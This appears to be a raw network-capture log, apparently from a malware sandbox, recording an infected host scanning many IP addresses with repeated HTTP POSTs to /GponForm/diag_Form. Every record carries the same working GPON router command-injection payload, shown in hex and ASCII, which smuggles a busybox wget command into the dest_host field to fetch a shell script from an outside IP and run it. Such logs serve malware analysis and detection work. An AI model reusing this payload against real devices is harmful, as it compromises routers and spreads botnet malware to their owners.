Mar 21, 2024 05:23:08.687021971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.13	35884	212.170.171.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687026024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.13	45354	118.92.216.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687046051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.13	40080	118.199.40.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687046051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.13	34192	212.11.239.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687084913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.13	53390	212.73.213.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687217951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.13	47212	212.107.185.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687239885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.13	43406	118.205.99.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687263966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.13	36050	109.89.152.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687271118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.13	54246	42.143.167.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687277079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.13	40656	42.39.203.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687306881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.13	41822	109.20.118.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687330961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.13	34730	212.133.168.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687330961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.13	49064	109.42.69.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687334061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.13	43476	42.49.92.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687349081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.13	60100	118.94.82.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687361956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.13	54310	42.5.61.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687377930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.13	34500	5.56.174.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687412024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.13	55650	212.210.146.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687412024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.13	50954	109.148.173.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687412024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.13	48172	109.26.165.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687422037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.13	39736	42.186.96.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687432051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.13	35272	118.184.207.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687453985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.13	45546	212.247.50.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687459946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.13	43182	109.214.31.125	443

Timestamp	Bytes transferred	Direction	Data
